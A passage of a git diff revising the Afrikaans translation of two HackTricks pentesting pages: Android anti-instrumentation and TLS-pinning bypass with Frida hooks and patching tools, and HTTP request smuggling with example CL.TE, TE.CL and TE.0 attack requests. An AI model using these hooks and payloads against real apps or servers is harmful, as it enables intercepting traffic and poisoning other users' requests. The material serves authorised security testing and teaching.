diff --git a/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md b/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md index 451b5fe8b..06af3006c 100644 --- a/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md +++ b/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md @@ -2,75 +2,75 @@ {{#include ../../banners/hacktricks-training.md}} -Hierdie bladsy bied 'n praktiese werksvloei om dinamiese analise teen Android-apps wat instrumentasie detecteer/root-blokkeer of TLS pinning afdwing, te herwin. Dit fokus op vinnige triage, algemene detections, en kopieer-plakbare hooks/taktieke om hulle te omseil sonder om te repak wanneer moontlik. +Hierdie bladsy verskaf 'n praktiese werkvloei om dynamic analysis teen Android-apps te herstel wat instrumentation opspoor/root‑blokkeer of TLS pinning afdwing. Dit fokus op vinnige triage, algemene opsporings, en copy‑pasteable hooks/taktieke om dit te omseil sonder om te repak waar moontlik. -## Detectieoppervlak (wat apps nagaan) +## Detection Surface (what apps check) -- Root kontroles: su binêre, Magisk paaie, getprop waardes, algemene root pakkette -- Frida/debugger kontroles (Java): Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), scanning /proc, classpath, gelaaide libs -- Inheemse anti-debug: ptrace(), syscalls, anti-attach, breekpunte, inline hooks -- Vroegste init kontroles: Application.onCreate() of proses begin hooks wat crash as instrumentasie teenwoordig is -- TLS pinning: pasgemaakte TrustManager/HostnameVerifier, OkHttp CertificatePinner, Conscrypt pinning, inheemse pins +- Root checks: su binary, Magisk paths, getprop values, common root packages +- Frida/debugger checks (Java): Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), scanning /proc, classpath, loaded libs +- Native anti‑debug: ptrace(), syscalls, anti‑attach, breakpoints, inline hooks +- Early init checks: Application.onCreate() or process start hooks that crash if instrumentation is present +- TLS pinning: custom TrustManager/HostnameVerifier, OkHttp CertificatePinner, Conscrypt pinning, native pins -## Stap 1 — Vinnige wen: verberg root met Magisk DenyList +## Step 1 — Quick win: hide root with Magisk DenyList -- Aktiveer Zygisk in Magisk -- Aktiveer DenyList, voeg die teikenpakket by +- Skakel Zygisk in Magisk aan +- Skakel DenyList aan, voeg die teikenpakket by - Herbegin en toets weer -Baie apps kyk net na voor die hand liggende aanduiders (su/Magisk paaie/getprop). DenyList neutraliseer dikwels naïewe kontroles. +Baie apps kyk net na voor die hand liggende aanwysers (su/Magisk paths/getprop). DenyList neutraliseer dikwels naïewe kontroles. -Verwysings: +References: - Magisk (Zygisk & DenyList): https://github.com/topjohnwu/Magisk -## Stap 2 — 30-sekonde Frida Codeshare toetse +## Step 2 — 30‑second Frida Codeshare tests -Probeer algemene drop-in skripte voordat jy diep delf: +Probeer algemene drop‑in skripte voordat jy dieper delf: - anti-root-bypass.js - anti-frida-detection.js - hide_frida_gum.js -Voorbeeld: +Example: ```bash frida -U -f com.example.app -l anti-frida-detection.js ``` -Hierdie stoot tipies Java wortel/debug kontroles, proses/dienste skande, en inheemse ptrace(). Nuttig op liggies beskermde toepassings; geharde teikens mag op maat gemaakte haakies benodig. +Hierdie vervang gewoonlik Java root/debug checks, process/service scans en native ptrace(). Nuttig op lig beskermde apps; geharde teikens mag aangepaste hooks nodig hê. - Codeshare: https://codeshare.frida.re/ -## Stap 3 — Bypass init-tyd detektore deur laat aan te sluit +## Stap 3 — Om init-time detectors te omseil deur laat aan te heg -Baie deteksies loop slegs tydens proses ontstaan/onCreate(). Ontstaan-tyd inspuiting (-f) of gadgets word vasgevang; aanhegting na UI laai kan verbyglip. +Baie deteksies hardloop slegs tydens process spawn/onCreate(). Spawn‑time injection (-f) of gadgets word gevang; aanheg nadat die UI gelaai is kan verbyglip. ```bash # Launch the app normally (launcher/adb), wait for UI, then attach frida -U -n com.example.app # Or with Objection to attach to running process aobjection --gadget com.example.app explore # if using gadget ``` -As dit werk, hou die sessie stabiel en gaan voort om die kaarte en stub kontroles te doen. +As dit werk, hou die sessie stabiel en gaan voort om map- en stub-kontroles uit te voer. -## Stap 4 — Kaart opsporingslogika via Jadx en string jag +## Stap 4 — Kaart deteksielogika via Jadx en string hunting -Statische triage sleutelwoorde in Jadx: +Statiese triage-sleutelwoorde in Jadx: - "frida", "gum", "root", "magisk", "ptrace", "su", "getprop", "debugger" -Tipiese Java patrone: +Tipiese Java-patrone: ```java public boolean isFridaDetected() { return getRunningServices().contains("frida"); } ``` -Algemene API's om te hersien/te hook: +Algemene APIs om te hersien/hook: - android.os.Debug.isDebuggerConnected - android.app.ActivityManager.getRunningAppProcesses / getRunningServices - java.lang.System.loadLibrary / System.load (native bridge) - java.lang.Runtime.exec / ProcessBuilder (probing commands) - android.os.SystemProperties.get (root/emulator heuristics) -## Stap 5 — Runtime stubbing met Frida (Java) +## Stap 5 — Runtime stubbing with Frida (Java) -Oorheers aangepaste wagte om veilige waardes terug te gee sonder om te repack: +Oorskryf aangepaste guards om veilige waardes terug te gee sonder repacking: ```js Java.perform(() => { const Checks = Java.use('com.example.security.Checks'); @@ -85,7 +85,7 @@ const AM = Java.use('android.app.ActivityManager'); AM.getRunningAppProcesses.implementation = function () { return java.util.Collections.emptyList(); }; }); ``` -Triaging vroeë crashes? Dump klasse net voordat dit sterf om waarskynlike opsporing namespaces te identifiseer: +Hantering van vroeë ineenstortings? Dump classes net voordat dit ineenstort om waarskynlike detection namespaces op te spoor: ```js Java.perform(() => { Java.enumerateLoadedClasses({ @@ -94,7 +94,7 @@ onComplete: () => console.log('Done') }); }); ``` -Teken en neutraliseer verdagte metodes om uitvoeringsvloei te bevestig: +Skryf na die log en neutraliseer verdagte metodes om die uitvoeringsvloei te bevestig: ```js Java.perform(() => { const Det = Java.use('com.example.security.DetectionManager'); @@ -104,24 +104,24 @@ return false; }; }); ``` -## Stap 6 — Volg die JNI/benaderingspad wanneer Java haakies misluk +## Step 6 — Volg die JNI/native spoor wanneer Java hooks misluk -Traceer JNI ingangsplekke om inheemse laders en opsporing inisie te lokaliseer: +Spoor JNI entry points op om native loaders en detection init te lokaliseer: ```bash frida-trace -n com.example.app -i "JNI_OnLoad" ``` -Vinnige inheemse triage van saamgevoegde .so lêers: +Vinnige inheemse triage van ingeslote .so-lêers: ```bash # List exported symbols & JNI nm -D libfoo.so | head objdump -T libfoo.so | grep Java_ strings -n 6 libfoo.so | egrep -i 'frida|ptrace|gum|magisk|su|root' ``` -Interaktiewe/niks omkeer: +Interaktiewe/native reversing: - Ghidra: https://ghidra-sre.org/ - r2frida: https://github.com/nowsecure/r2frida -Voorbeeld: neuter ptrace om eenvoudige anti‑debug in libc te oorwin: +Voorbeeld: neutriseer ptrace om eenvoudige anti‑debug in libc te omseil: ```js const ptrace = Module.findExportByName(null, 'ptrace'); if (ptrace) { @@ -130,40 +130,43 @@ return -1; // pretend failure }, 'int', ['int', 'int', 'pointer', 'pointer'])); } ``` -Sien ook: {{#ref}} +Sien ook: +{{#ref}} reversing-native-libraries.md {{#endref}} -## Stap 7 — Objection patching (embed gadget / strip basiese) +## Stap 7 — Objection patching (embed gadget / strip basics) -Wanneer jy verkies om repacking te gebruik eerder as runtime hooks, probeer: +Wanneer jy repacking bo runtime hooks verkies, probeer: ```bash objection patchapk --source app.apk ``` -Notas: -- Vereis apktool; verseker 'n huidige weergawe volgens die amptelike gids om bouprobleme te vermy: https://apktool.org/docs/install -- Gadget-inspuiting stel instrumentasie in staat sonder root, maar kan steeds deur sterker init-tyd kontroles opgevang word. +Aantekeninge: +- Vereis apktool; verseker 'n huidige weergawe vanaf die amptelike gids om bouprobleme te vermy: https://apktool.org/docs/install +- Gadget injection stel instrumentation sonder root in staat, maar kan steeds deur sterker init‑time checks opgespoor word. Verwysings: - Objection: https://github.com/sensepost/objection -## Stap 8 — Terugval: Patches TLS pinning vir netwerk sigbaarheid +## Stap 8 — Valopsie: Patch TLS pinning vir netwerk‑sigbaarheid -As instrumentasie geblokkeer is, kan jy steeds verkeer inspekteer deur pinning staties te verwyder: +As instrumentation geblokkeer is, kan jy nog steeds verkeer inspekteer deur pinning staties te verwyder: ```bash apk-mitm app.apk # Then install the patched APK and proxy via Burp/mitmproxy ``` - Gereedskap: https://github.com/shroudedcode/apk-mitm -- Vir netwerk konfigurasie CA‑vertroue truuks (en Android 7+ gebruiker CA vertroue), sien: +- Vir netwerkkonfigurasie CA‑trust truuks (en Android 7+ user CA trust), sien: + {{#ref}} make-apk-accept-ca-certificate.md {{#endref}} + {{#ref}} install-burp-certificate.md {{#endref}} -## Handige opdrag spiekbrief +## Handige opdrag-snelverwysing ```bash # List processes and attach frida-ps -Uai @@ -183,10 +186,10 @@ apk-mitm app.apk ``` ## Wenke & waarskuwings -- Verkies om laat aan te sluit eerder as om te spawn wanneer toepassings by die bekendstelling crash -- Sommige opsporings herloop in kritieke vloei (bv. betaling, outentisering) — hou haakies aktief tydens navigasie -- Meng staties en dinamies: string jag in Jadx om klasse te kortlys; haak dan metodes om tydens uitvoering te verifieer -- Versterkte toepassings mag pakkers en inheemse TLS pinning gebruik — verwag om inheemse kode te reverse +- Gee voorkeur aan late attach bo spawn wanneer apps by opstart crash +- Sommige detecties word weer uitgevoer in kritieke flows (e.g., payment, auth) — hou hooks aktief tydens navigasie +- Meng static en dynamic: string hunt in Jadx om klasse te kortlys; dan hook methods om by runtime te verifieer +- Versterkte apps kan packers en native TLS pinning gebruik — verwag om native code te reverseer ## Verwysings diff --git a/src/pentesting-web/http-request-smuggling/README.md b/src/pentesting-web/http-request-smuggling/README.md index ff0fec3d7..5edd29606 100644 --- a/src/pentesting-web/http-request-smuggling/README.md +++ b/src/pentesting-web/http-request-smuggling/README.md @@ -5,61 +5,61 @@ ## Wat is -Hierdie kwesbaarheid ontstaan wanneer 'n **desynkronisasie** tussen **front-end proxies** en die **back-end** bediener 'n **aanvaller** toelaat om 'n HTTP **versoek** te **stuur** wat as 'n **enkele versoek** deur die **front-end** proxies (laaibalanseer / omgekeerde proxy) en **as 2 versoeke** deur die **back-end** bediener **geïterpreteer** sal word.\ -Dit laat 'n gebruiker toe om die **volgende versoek wat na die back-end bediener kom na syne** te **wysig**. +Hierdie kwesbaarheid gebeur wanneer 'n **desinchronisasie** tussen **front-end proxies** en die **back-end** server toelaat dat 'n **attacker** 'n HTTP **request** stuur wat deur die **front-end** proxies (load balance/reverse-proxy) as 'n **single request** geïnterpreteer word en deur die **back-end** server **as 2 request**.\ +Dit stel 'n gebruiker in staat om **die volgende request wat by die back-end server ná sy eie inkom te wysig**. ### Teorie -[**RFC Spesifikasie (2161)**](https://tools.ietf.org/html/rfc2616) +[**RFC Specification (2161)**](https://tools.ietf.org/html/rfc2616) -> As 'n boodskap ontvang word met beide 'n Transfer-Encoding kopveld en 'n Content-Length kopveld, moet laasgenoemde geïgnoreer word. +> If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored. **Content-Length** -> Die Content-Length entiteit kopveld dui die grootte van die entiteit-liggaam, in bytes, wat na die ontvanger gestuur word, aan. +> The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient. **Transfer-Encoding: chunked** -> Die Transfer-Encoding kopveld spesifiseer die vorm van kodering wat gebruik word om die payload liggaam veilig na die gebruiker oor te dra.\ -> Chunked beteken dat groot data in 'n reeks stukke gestuur word. +> The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.\ +> Chunked means that large data is sent in a series of chunks -### Realiteit +### Werklikheid -Die **Front-End** (n laaibalanseer / Omgekeerde Proxy) **verwerk** die _**content-length**_ of die _**transfer-encoding**_ kopveld en die **Back-end** bediener **verwerk die ander** een wat 'n **desynkronisasie** tussen die 2 stelsels veroorsaak.\ -Dit kan baie krities wees aangesien **'n aanvaller in staat sal wees om een versoek** na die omgekeerde proxy te stuur wat deur die **back-end** bediener **as 2 verskillende versoeke** **geïterpreteer** sal word. Die **gevaar** van hierdie tegniek lê in die feit dat die **back-end** bediener die **2de versoek wat ingevoeg is** sal **interpreteer** asof dit **van die volgende kliënt** af kom en die **werklike versoek** van daardie kliënt sal **deel** wees van die **ingevoegde versoek**. +Die **Front-End** (n load-balance / Reverse Proxy) verwerk die _**Content-Length**_ of die _**Transfer-Encoding**_ header en die **Back-end** server verwerk die ander een, wat 'n **desinchronisasie** tussen die 2 stelsels veroorsaak.\ +Dit kan baie kritiek wees aangesien **'n attacker een request na die reverse proxy kan stuur** wat deur die **back-end** server **as 2 verskillende requests** geïnterpreteer word. Die gevaar van hierdie tegniek lê daarin dat die **back-end** server die **2de geïnjekteerde request** asof dit **van die volgende kliënt kom** sal interpreteer en die werklike request van daardie kliënt deel van die **geïnjekteerde request** sal wees. ### Besonderhede -Onthou dat in HTTP **'n nuwe lyn karakter bestaan uit 2 bytes:** +Onthou dat in HTTP **'n nuwe reël karakter uit 2 bytes bestaan:** -- **Content-Length**: Hierdie kopveld gebruik 'n **desimale getal** om die **aantal** **bytes** van die **liggaam** van die versoek aan te dui. Die liggaam word verwag om in die laaste karakter te eindig, **'n nuwe lyn is nie nodig aan die einde van die versoek**. -- **Transfer-Encoding:** Hierdie kopveld gebruik in die **liggaam** 'n **heksadesimale getal** om die **aantal** **bytes** van die **volgende stuk** aan te dui. Die **stuk** moet **eindig** met 'n **nuwe lyn** maar hierdie nuwe lyn **word nie getel** deur die lengte-indikator nie. Hierdie oordragmetode moet eindig met 'n **stuk van grootte 0 gevolg deur 2 nuwe lyne**: `0` -- **Connection**: Gebaseer op my ervaring word dit aanbeveel om **`Connection: keep-alive`** op die eerste versoek van die versoek Smuggling te gebruik. +- **Content-Length**: Hierdie header gebruik 'n **desimale nommer** om die **aantal bytes** van die **body** van die request aan te dui. Die body word verwag om op die laaste karakter te eindig; **'n nuwe reël is nie nodig aan die einde van die request nie**. +- **Transfer-Encoding:** Hierdie header gebruik in die **body** 'n **heksadesimale nommer** om die **aantal bytes** van die **volgende chunk** aan te dui. Die **chunk** moet **eindig** met 'n **nuwe reël**, maar dié nuwe reël **word nie deur die lengte-aanwyser ingesluit nie**. Hierdie oordragmetode moet eindig met 'n **chunk van grootte 0 gevolg deur 2 new lines**: `0` +- **Connection**: Gebaseer op my ervaring word dit aanbeveel om `Connection: keep-alive` te gebruik op die eerste request van die request Smuggling. ## Basiese Voorbeelde > [!TIP] -> Wanneer jy probeer om dit met Burp Suite te benut, **deaktiveer `Update Content-Length` en `Normalize HTTP/1 line endings`** in die herhaler omdat sommige gadgets nuwe lyne, karakters en verkeerd gevormde content-lengths misbruik. +> Wanneer jy probeer om dit met Burp Suite te exploit **deaktiveer `Update Content-Length` en `Normalize HTTP/1 line endings`** in die repeater omdat sommige gadgets newlines, carriage returns en malformed content-lengths misbruik. -HTTP versoek smuggling aanvalle word geskep deur om ambigue versoeke te stuur wat verskille in hoe front-end en back-end bedieners die `Content-Length` (CL) en `Transfer-Encoding` (TE) kopvelde interpreteer, te benut. Hierdie aanvalle kan in verskillende vorme manifesteer, hoofsaaklik as **CL.TE**, **TE.CL**, en **TE.TE**. Elke tipe verteenwoordig 'n unieke kombinasie van hoe die front-end en back-end bedieners hierdie kopvelde prioriteer. Die kwesbaarhede ontstaan uit die bedieners wat dieselfde versoek op verskillende maniere verwerk, wat lei tot onverwagte en potensieel kwaadwillige uitkomste. +HTTP request smuggling-aanvalle word geskep deur ambigue requests te stuur wat die verskille in hoe front-end en back-end servers die `Content-Length` (CL) en `Transfer-Encoding` (TE) headers interpreteer, uitbuit. Hierdie aanvalle kan in verskillende vorme voorkom, hoofsaaklik as **CL.TE**, **TE.CL**, en **TE.TE**. Elke tipe verteenwoordig 'n unieke kombinasie van hoe die front-end en back-end servers hierdie headers prioriseer. Die kwesbaarhede ontstaan omdat die servers dieselfde request op verskillende maniere verwerk, wat tot onverwagte en moontlik kwaadwillige uitkomste kan lei. -### Basiese Voorbeelde van Kwesbaarheidstipes +### Basiese Voorbeelde van Kwetsbaarheidstipes ![https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../images/EKi5edAUUAAIPIK.jpg) > [!TIP] -> By die vorige tabel moet jy die TE.0 tegniek byvoeg, soos die CL.0 tegniek maar met Transfer Encoding. +> By die vorige tabel moet jy die TE.0 technique byvoeg, soos die CL.0 technique maar met Transfer-Encoding. -#### CL.TE Kwesbaarheid (Content-Length gebruik deur Front-End, Transfer-Encoding gebruik deur Back-End) +#### CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End) -- **Front-End (CL):** Verwerk die versoek gebaseer op die `Content-Length` kopveld. -- **Back-End (TE):** Verwerk die versoek gebaseer op die `Transfer-Encoding` kopveld. -- **Aanval Scenario:** +- **Front-End (CL):** Verwerk die request gebaseer op die `Content-Length` header. +- **Back-End (TE):** Verwerk die request gebaseer op die `Transfer-Encoding` header. +- **Attack Scenario:** -- Die aanvaller stuur 'n versoek waar die waarde van die `Content-Length` kopveld nie ooreenstem met die werklike inhoud lengte nie. -- Die front-end bediener stuur die hele versoek na die back-end, gebaseer op die `Content-Length` waarde. -- Die back-end bediener verwerk die versoek as chunked weens die `Transfer-Encoding: chunked` kopveld, wat die oorblywende data as 'n aparte, daaropvolgende versoek interpreteer. -- **Voorbeeld:** +- Die attacker stuur 'n request waar die waarde van die `Content-Length` header nie ooreenstem met die werklike inhouds-lengte nie. +- Die front-end server stuur die hele request na die back-end, gebaseer op die `Content-Length` waarde. +- Die back-end server verwerk die request as chunked weens die `Transfer-Encoding: chunked` header, en interpreteer die oorblywende data as 'n aparte, opvolgende request. +- **Example:** ``` POST / HTTP/1.1 @@ -74,16 +74,16 @@ GET /404 HTTP/1.1 Foo: x ``` -#### TE.CL Kwesbaarheid (Transfer-Encoding gebruik deur Front-End, Content-Length gebruik deur Back-End) +#### TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End) -- **Front-End (TE):** Verwerk die versoek gebaseer op die `Transfer-Encoding` kopveld. -- **Back-End (CL):** Verwerk die versoek gebaseer op die `Content-Length` kopveld. -- **Aanval Scenario:** +- **Front-End (TE):** Verwerk die request gebaseer op die `Transfer-Encoding` header. +- **Back-End (CL):** Verwerk die request gebaseer op die `Content-Length` header. +- **Attack Scenario:** -- Die aanvaller stuur 'n chunked versoek waar die stuk grootte (`7b`) en werklike inhoud lengte (`Content-Length: 4`) nie ooreenstem nie. -- Die front-end bediener, wat `Transfer-Encoding` respekteer, stuur die hele versoek na die back-end. -- Die back-end bediener, wat `Content-Length` respekteer, verwerk slegs die aanvanklike deel van die versoek (`7b` bytes), wat die res as deel van 'n onbedoelde daaropvolgende versoek laat. -- **Voorbeeld:** +- Die attacker stuur 'n chunked request waar die chunk-grootte (`7b`) en die werklike inhoudslengte (`Content-Length: 4`) nie ooreenstem nie. +- Die front-end server, wat `Transfer-Encoding` eerbiedig, stuur die hele request na die back-end. +- Die back-end server, wat `Content-Length` eerbiedig, verwerk slegs die aanvanklike deel van die request (`7b` bytes), wat die res laat as deel van 'n onverwagte daaropvolgende request. +- **Example:** ``` POST / HTTP/1.1 @@ -103,15 +103,15 @@ x= ``` -#### TE.TE Kwesbaarheid (Transfer-Encoding gebruik deur beide, met obfuskering) +#### TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation) -- **Bedieners:** Beide ondersteun `Transfer-Encoding`, maar een kan mislei word om dit te ignoreer deur obfuskering. -- **Aanval Scenario:** +- **Servers:** Albei ondersteun `Transfer-Encoding`, maar een kan mislei word om dit te ignoreer deur obfuskasie. +- **Attack Scenario:** -- Die aanvaller stuur 'n versoek met obfuscated `Transfer-Encoding` kopvelde. -- Afhangende van watter bediener (front-end of back-end) nie die obfuskering herken nie, kan 'n CL.TE of TE.CL kwesbaarheid benut word. -- Die onverwerkte deel van die versoek, soos gesien deur een van die bedieners, word deel van 'n daaropvolgende versoek, wat lei tot smuggling. -- **Voorbeeld:** +- Die attacker stuur 'n request met obfuskated `Transfer-Encoding` headers. +- Afhangende van watter server (front-end of back-end) die obfuskasie nie herken nie, kan 'n CL.TE of TE.CL kwesbaarheid uitgebuit word. +- Die onverwerkte deel van die request, soos deur een van die servers gesien, word deel van 'n opvolgende request en lei tot smuggling. +- **Example:** ``` POST / HTTP/1.1 @@ -130,11 +130,11 @@ Transfer-Encoding : chunked ``` -#### **CL.CL Scenario (Content-Length gebruik deur beide Front-End en Back-End)** +#### **CL.CL Scenario (Content-Length used by both Front-End and Back-End)** -- Beide bedieners verwerk die versoek gebaseer slegs op die `Content-Length` kopveld. -- Hierdie scenario lei tipies nie tot smuggling nie, aangesien daar ooreenstemming is in hoe beide bedieners die versoeklengte interpreteer. -- **Voorbeeld:** +- Albei servers verwerk die request slegs gebaseer op die `Content-Length` header. +- Hierdie scenario lei gewoonlik nie tot smuggling nie, aangesien daar belyning is in hoe beide servers die request-lengte interpreteer. +- **Example:** ``` POST / HTTP/1.1 @@ -142,14 +142,14 @@ Host: vulnerable-website.com Content-Length: 16 Connection: keep-alive -Normale Versoek +Normal Request ``` #### **CL.0 Scenario** -- Verwys na scenario's waar die `Content-Length` kopveld teenwoordig is en 'n waarde anders as nul het, wat aandui dat die versoek liggaam inhoud het. Die back-end ignoreer die `Content-Length` kopveld (wat as 0 behandel word), maar die front-end parse dit. -- Dit is belangrik om smuggling aanvalle te verstaan en te skep, aangesien dit beïnvloed hoe bedieners die einde van 'n versoek bepaal. -- **Voorbeeld:** +- Verwys na scenario's waar die `Content-Length` header teenwoordig is en 'n waarde anders as nul het, wat aandui dat die request-body inhoud het. Die back-end ignoreer die `Content-Length` header (wat as 0 behandel word), maar die front-end parse dit. +- Dit is baie belangrik in die begrip en samestelling van smuggling-aanvalle, aangesien dit beïnvloed hoe servers die einde van 'n request bepaal. +- **Example:** ``` POST / HTTP/1.1 @@ -157,14 +157,14 @@ Host: vulnerable-website.com Content-Length: 16 Connection: keep-alive -Nie-Empty Liggaam +Non-Empty Body ``` #### TE.0 Scenario -- Soos die vorige een maar met TE -- Tegniek [gerapporteer hier](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/) -- **Voorbeeld**: +- Soos die vorige een maar met TE. +- Technique [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/) +- **Example**: ``` OPTIONS / HTTP/1.1 Host: {HOST} @@ -182,33 +182,34 @@ x: X EMPTY_LINE_HERE EMPTY_LINE_HERE ``` -#### Breek die webbediener +#### Die webbediener breek -Hierdie tegniek is ook nuttig in scenario's waar dit moontlik is om 'n **webbediener te breek terwyl die aanvanklike HTTP-data gelees word** maar **sonder om die verbinding te sluit**. Op hierdie manier sal die **liggaam** van die HTTP-versoek as die **volgende HTTP-versoek** beskou word. +Hierdie tegniek is ook nuttig in scenario's waarin dit moontlik is om **break a web server while reading the initial HTTP data** maar **without closing the connection**. Op hierdie manier sal die **body** van die HTTP request beskou word as die **next HTTP request**. -Byvoorbeeld, soos verduidelik in [**hierdie skrywe**](https://mizu.re/post/twisty-python), was dit in Werkzeug moontlik om 'n paar **Unicode** karakters te stuur en dit sal die bediener **breek**. As die HTTP-verbinding egter met die koptekst **`Connection: keep-alive`** geskep is, sal die liggaam van die versoek nie gelees word nie en die verbinding sal steeds oop wees, so die **liggaam** van die versoek sal as die **volgende HTTP-versoek** hanteer word. +Byvoorbeeld, soos verduidelik in [**this writeup**](https://mizu.re/post/twisty-python), in Werkzeug was dit moontlik om sommige **Unicode** karakters te stuur wat die bediener laat **break**. As die HTTP-verbinding egter geskep is met die header **`Connection: keep-alive`**, sal die body van die request nie gelees word nie en sal die verbinding steeds oop bly, sodat die **body** van die request as die **next HTTP request** behandel sal word. -#### Dwing via hop-by-hop koptekste +#### Dwing via hop-by-hop headers -Deur hop-by-hop koptekste te misbruik, kan jy die proxy aandui om die koptekst **Content-Length of Transfer-Encoding te verwyder sodat 'n HTTP-versoek-smuggling misbruik kan word**. +Deur hop-by-hop headers te misbruik kan jy die proxy aanwys om **delete the header Content-Length or Transfer-Encoding so a HTTP request smuggling is possible to abuse**. ``` Connection: Content-Length ``` -Vir **meer inligting oor hop-by-hop headers** besoek: +For **more information about hop-by-hop headers** visit: + {{#ref}} ../abusing-hop-by-hop-headers.md {{#endref}} -## Vind HTTP Request Smuggling +## Opsporing van HTTP Request Smuggling -Die identifisering van HTTP request smuggling kwesbaarhede kan dikwels bereik word deur tydtegnieke, wat staatmaak op die waarneming van hoe lank dit neem vir die bediener om te reageer op gemanipuleerde versoeke. Hierdie tegnieke is veral nuttig om CL.TE en TE.CL kwesbaarhede te ontdek. Benewens hierdie metodes, is daar ander strategieë en gereedskap wat gebruik kan word om sulke kwesbaarhede te vind: +Die identifisering van HTTP request smuggling-kwesbaarhede kan dikwels bereik word deur timing-tegnieke, wat staatmaak op die waarneming van hoe lank dit neem vir die bediener om op gemanipuleerde versoeke te reageer. Hierdie tegnieke is veral nuttig om CL.TE en TE.CL kwesbaarhede op te spoor. Benewens hierdie metodes is daar ander strategieë en gereedskap wat gebruik kan word om sulke kwesbaarhede te vind: -### Vind CL.TE Kwesbaarhede Met Tydtegnieke +### Opsporing van CL.TE-kwesbaarhede met timing-tegnieke - **Metode:** -- Stuur 'n versoek wat, indien die toepassing kwesbaar is, die agtergrondbediener sal laat wag vir addisionele data. +- Stuur 'n versoek wat, indien die toepassing kwesbaar is, die back-end server sal veroorsaak om vir addisionele data te wag. - **Voorbeeld:** ``` @@ -224,18 +225,18 @@ A ``` - **Waarneming:** -- Die voorpuntbediener verwerk die versoek gebaseer op `Content-Length` en sny die boodskap voortydig af. -- Die agtergrondbediener, wat 'n chunked boodskap verwag, wag vir die volgende chunk wat nooit aankom nie, wat 'n vertraging veroorsaak. +- Die front-end server verwerk die versoek gebaseer op `Content-Length` en kap die boodskap voortydig af. +- Die back-end server, wat 'n chunked boodskap verwag, wag vir die volgende chunk wat nooit aankom nie, wat 'n vertraging veroorsaak. -- **Aanduiders:** -- Timeouts of lang vertraging in reaksie. -- Ontvang 'n 400 Bad Request fout van die agtergrondbediener, soms met gedetailleerde bedienerinligting. +- **Aanwysers:** +- Time-outs of lang vertragings in die reaksie. +- Ontvang 'n 400 Bad Request fout vanaf die back-end server, soms met gedetailleerde bedienerinligting. -### Vind TE.CL Kwesbaarhede Met Tydtegnieke +### Opsporing van TE.CL-kwesbaarhede met timing-tegnieke - **Metode:** -- Stuur 'n versoek wat, indien die toepassing kwesbaar is, die agtergrondbediener sal laat wag vir addisionele data. +- Stuur 'n versoek wat, indien die toepassing kwesbaar is, die back-end server sal veroorsaak om vir addisionele data te wag. - **Voorbeeld:** ``` @@ -250,41 +251,41 @@ X ``` - **Waarneming:** -- Die voorpuntbediener verwerk die versoek gebaseer op `Transfer-Encoding` en stuur die hele boodskap voort. -- Die agtergrondbediener, wat 'n boodskap gebaseer op `Content-Length` verwag, wag vir addisionele data wat nooit aankom nie, wat 'n vertraging veroorsaak. +- Die front-end server verwerk die versoek gebaseer op `Transfer-Encoding` en stuur die hele boodskap vooruit. +- Die back-end server, wat 'n boodskap gebaseer op `Content-Length` verwag, wag vir addisionele data wat nooit aankom nie, wat 'n vertraging veroorsaak. -### Ander Metodes om Kwesbaarhede te Vind +### Ander metodes om kwesbaarhede te vind -- **Differensiële Responsanalise:** -- Stuur effens verskillende weergawes van 'n versoek en observeer of die bediener se reaksies op 'n onverwagte manier verskil, wat 'n parsingsverskil aandui. -- **Gebruik van Geoutomatiseerde Gereedskap:** -- Gereedskap soos Burp Suite se 'HTTP Request Smuggler' uitbreiding kan outomaties toets vir hierdie kwesbaarhede deur verskeie vorme van ambigue versoeke te stuur en die reaksies te analiseer. -- **Content-Length Variansie Toetse:** -- Stuur versoeke met verskillende `Content-Length` waardes wat nie ooreenstem met die werklike inhoudslengte nie en observeer hoe die bediener sulke wanbalanse hanteer. -- **Transfer-Encoding Variansie Toetse:** -- Stuur versoeke met obfuskeerde of misvormde `Transfer-Encoding` headers en monitor hoe verskillend die voorpunt- en agtergrondbedieners op sulke manipulasies reageer. +- **Differential Response Analysis:** +- Stuur effens veranderde weergawes van 'n versoek en kyk of die bedienerreaksies onverwags verskil — dit dui op 'n parsing-onderskeid. +- **Using Automated Tools:** +- Tools soos Burp Suite se 'HTTP Request Smuggler' extension kan outomaties vir hierdie kwesbaarhede toets deur verskeie vorme van dubbelsinnige versoeke te stuur en die reaksies te ontleed. +- **Content-Length Variance Tests:** +- Stuur versoeke met wisselende `Content-Length` waardes wat nie ooreenstem met die werklike inhoudslengte nie en kyk hoe die bediener sulke wanpassings hanteer. +- **Transfer-Encoding Variance Tests:** +- Stuur versoeke met verhulde of misvormde `Transfer-Encoding` headers en monitor hoe uiteenlopend die front-end en back-end servers op sulke manipulasies reageer. ### HTTP Request Smuggling Kwesbaarheidstoetsing -Nadat die doeltreffendheid van tydtegnieke bevestig is, is dit noodsaaklik om te verifieer of kliëntversoeke gemanipuleer kan word. 'n Eenvoudige metode is om te probeer om jou versoeke te vergiftig, byvoorbeeld, om 'n versoek na `/` te maak wat 'n 404 reaksie oplewer. Die `CL.TE` en `TE.CL` voorbeelde wat voorheen bespreek is in [Basic Examples](#basic-examples) demonstreer hoe om 'n kliënt se versoek te vergiftig om 'n 404 reaksie uit te lok, ten spyte van die kliënt se poging om 'n ander hulpbron te benader. +Nadat jy die doeltreffendheid van timing-tegnieke bevestig het, is dit noodsaaklik om te verifieer of 